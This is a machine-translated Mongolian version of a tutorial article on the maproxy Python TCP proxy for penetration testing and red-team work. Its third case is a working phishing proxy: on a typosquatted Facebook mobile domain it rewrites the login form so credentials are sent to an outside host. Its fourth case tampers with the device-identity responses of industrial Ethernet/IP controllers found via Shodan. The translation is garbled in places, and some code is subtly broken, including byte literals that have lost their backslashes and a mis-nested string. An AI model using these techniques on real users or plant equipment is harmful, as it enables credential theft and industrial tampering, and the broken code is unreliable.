Нийтлэлийн орчуулгыг курс эхлэхийн өмнөх өдөр бэлтгэсэн
тэмдэглэгээ
Тогтмол нэвтрэлтийн туршилт, Улаан багийн үйл ажиллагаанаас эхлээд IoT/ICS төхөөрөмжүүд болон SCADA-г хакердах зэрэг олон төрлийн аюулгүй байдлын үнэлгээ нь хоёртын сүлжээний протоколуудтай ажиллах, өөрөөр хэлбэл үйлчлүүлэгч болон зорилтот хоорондын сүлжээний өгөгдлийг таслан зогсоох, өөрчлөх зэрэг орно. Бидэнд Wireshark, Tcpdump эсвэл Scapy зэрэг хэрэгслүүд байгаа тул сүлжээний траффикийг үнэрлэх нь тийм ч хэцүү ажил биш боловч сүлжээний өгөгдлийг унших, шүүх, өөрчлөхийн тулд ямар нэгэн интерфэйстэй байх шаардлагатай тул өөрчлөх нь илүү их хөдөлмөр шаардсан ажил юм шиг санагдаж байна. Үүнийг шууд хийж, зорилтот хост руу бараг бодит цаг хугацаанд илгээнэ үү. Нэмж дурдахад, ийм хэрэгсэл нь олон зэрэгцээ холболттой автоматаар ажиллаж, скрипт ашиглан тохируулах боломжтой байвал тохиромжтой байх болно.
Нэг өдөр би нэг хэрэгсэл олж мэдэв
, баримт бичиг надад үүнийг хурдан ойлгуулсан maproxy
- надад хэрэгтэй зүйл. Энэ бол нэлээд энгийн, олон талт, хялбар тохируулах боломжтой TCP прокси юм. Би энэ хэрэгслийг ICS төхөөрөмжүүд (маш олон пакет үүсгэдэг) зэрэг нэлээд төвөгтэй програмууд дээр туршиж үзсэн бөгөөд энэ нь олон зэрэгцээ холболтыг зохицуулж чадах эсэхийг шалгахын тулд хэрэгсэл нь сайн ажилласан.
Энэ нийтлэл нь сүлжээний өгөгдлийг шууд ашиглан хэрхэн боловсруулах талаар танд танилцуулах болно maproxy
.
тойм
Хэрэгсэл maproxy
нь Python-д алдартай, боловсорч гүйцсэн асинхрон сүлжээний хүрээ болох Tornado дээр суурилдаг.
Ерөнхийдөө энэ нь хэд хэдэн горимд ажиллах боломжтой:
TCP:TCP
– шифрлэгдээгүй TCP холболтууд;TCP:SSL
иSSL:TCP
- нэг талын шифрлэлттэй;SSL:SSL
- хоёр талын шифрлэлт.
Энэ нь номын сан хэлбэрээр ирдэг. Хурдан эхлүүлэхийн тулд та үндсэн зүйлийг тусгасан жишээ файлуудыг ашиглаж болно
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Тохиолдол 1 – энгийн хоёр чиглэлтэй прокси
Үндэслэн tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
анхдагчаар ProxyServer()
Холболтын байршил ба зорилтот порт гэсэн хоёр аргумент авдаг. server.listen()
нэг аргумент авдаг - ирж буй холболтыг сонсох порт.
Скриптийг гүйцэтгэж байна:
# python tcp2tcp.py
Туршилтыг явуулахын тулд бид прокси скриптээр дамжуулан локал SSH сервертэй холбогдох болно. 2222/tcp
порт ба стандарт порт руу холбогдоно 22/tcp
SSH серверүүд:
Тавтай морилно уу баннер нь манай жишээ скрипт сүлжээний траффикийг амжилттай прокси хийсэн болохыг танд мэдэгдэнэ.
Тохиолдол 2 – өгөгдлийн өөрчлөлт
Өөр нэг демо скрипт logging_proxy.py
сүлжээний өгөгдөлтэй харилцахад тохиромжтой. Файл дахь тайлбарууд нь зорилгодоо хүрэхийн тулд өөрчилж болох ангийн аргуудыг тайлбарласан болно:
Хамгийн сонирхолтой нь энд байна:
on_c2p_done_read
– Үйлчлүүлэгчээс сервер хүртэлх замд өгөгдлийг таслан зогсоох;on_p2s_done_read
- урвуу.
Серверээс үйлчлүүлэгч рүү буцаадаг SSH баннерыг өөрчлөхийг оролдъё:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Скриптийг ажиллуулна уу:
Таны харж байгаагаар SSH серверийн нэрийг өөрчилсөн тул үйлчлүүлэгч төөрөгдүүлсэн байна «DumnySSH»
.
Тохиолдол 3 – энгийн фишинг вэб хуудас
Энэ хэрэгслийг ашиглах төгсгөлгүй олон арга бий. Энэ удаад Улаан багийн үйл ажиллагааны талаас илүү практик зүйл дээр анхаарлаа хандуулцгаая. Буух хуудсыг дуурайцгаая m.facebook.com
санаатай үсгийн алдаатай захиалгат домэйн ашиглах, жишээлбэл, m.facebok.com
. Үзүүлэн харуулахын тулд домэйныг бид бүртгүүлсэн гэж бодъё.
Бид хохирогчдын прокси болон SSL Stream-тай Facebook серверт шифрлэгдээгүй сүлжээний холболтыг бий болгох гэж байна (31.13.81.36
). Энэ жишээг ажиллуулахын тулд бид HTTP хостын толгой хэсгийг сольж, зөв хостын нэрийг оруулах шаардлагатай ба хариу шахалтыг идэвхгүй болгож, контент руу хялбархан хандах боломжтой болно. Эцэст нь бид HTML маягтыг солих бөгөөд ингэснээр Facebook-ийн серверийн оронд нэвтрэх мэдээллийг бидэнд илгээнэ.
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/mn/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Эцэст нь:
Таны харж байгаагаар бид анхны сайтыг амжилттай сольж чадсан.
Тохиолдол 4 – Ethernet/IP порт хийх
Би программчлагдах хянагч (PLC), оролт/гаралтын модулиуд, хөтчүүд, реле, шат програмчлалын орчин гэх мэт үйлдвэрлэлийн төхөөрөмж, программ хангамж (ICS/SCADA)-тай нэлээд удаан ажиллаж байна. Энэ тохиолдол нь үйлдвэрлэлийн зүйлд дуртай хүмүүст зориулагдсан юм. Ийм шийдлүүдийг хакердах нь сүлжээний протоколуудтай идэвхтэй тоглох явдал юм. Дараах жишээнд би ICS/SCADA сүлжээний урсгалыг хэрхэн өөрчлөхийг харуулахыг хүсч байна.
Үүний тулд танд дараахь зүйл хэрэгтэй болно.
- Сүлжээний үнэрлэгч, жишээлбэл, Wireshark;
- Ethernet/IP эсвэл зүгээр л SIP төхөөрөмж бол та Shodan үйлчилгээг ашиглан олох боломжтой;
- Манай скрипт дээр үндэслэсэн болно
maproxy
.
Нэгдүгээрт, CIP (Үйлдвэрийн нийтлэг протокол)-ийн ердийн таних хариу ямар байхыг харцгаая.
Төхөөрөмжийг таних нь CIP зэрэг хяналтын протоколуудыг багтаасан үйлдвэрлэлийн Ethernet протоколын сайжруулсан хувилбар болох Ethernet/IP протоколыг ашиглан хийгддэг. Бид дэлгэцийн агшинд харагдах тодруулсан ID нэрийг өөрчлөх гэж байна "Ethernet-д зориулсан NI-IndComm" Манай прокси скриптийг ашиглан. Бид скриптийг дахин ашиглаж болно logging_proxy.py
мөн адил ангийн аргыг өөрчлөх on_p2s_done_read
, учир нь бид үйлчлүүлэгч дээр өөр таних нэр харагдахыг хүсэж байна.
Кодыг:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Үндсэндээ бид төхөөрөмжийн танихыг хоёр удаа хүссэн, хоёр дахь хариулт нь анхных байсан бөгөөд эхнийх нь шууд өөрчлөгдсөн.
Эцэст нь
Миний бодлоор maproxy
Энэ нь Python хэл дээр бичигдсэн тохиромжтой бөгөөд энгийн хэрэгсэл тул та ч гэсэн үүнийг ашиглах нь ашиг тустай гэдэгт би итгэж байна. Мэдээжийн хэрэг, сүлжээний өгөгдлийг боловсруулах, өөрчлөх илүү төвөгтэй хэрэгслүүд байдаг, гэхдээ тэдгээр нь бас илүү анхаарал шаарддаг бөгөөд ихэвчлэн тодорхой хэрэглээний тохиолдолд бүтээгдсэн байдаг. maproxy
Жишээ скриптүүд нь маш ойлгомжтой тул та сүлжээний өгөгдлийг таслах санаагаа хурдан хэрэгжүүлэх боломжтой.
Эх сурвалж: www.habr.com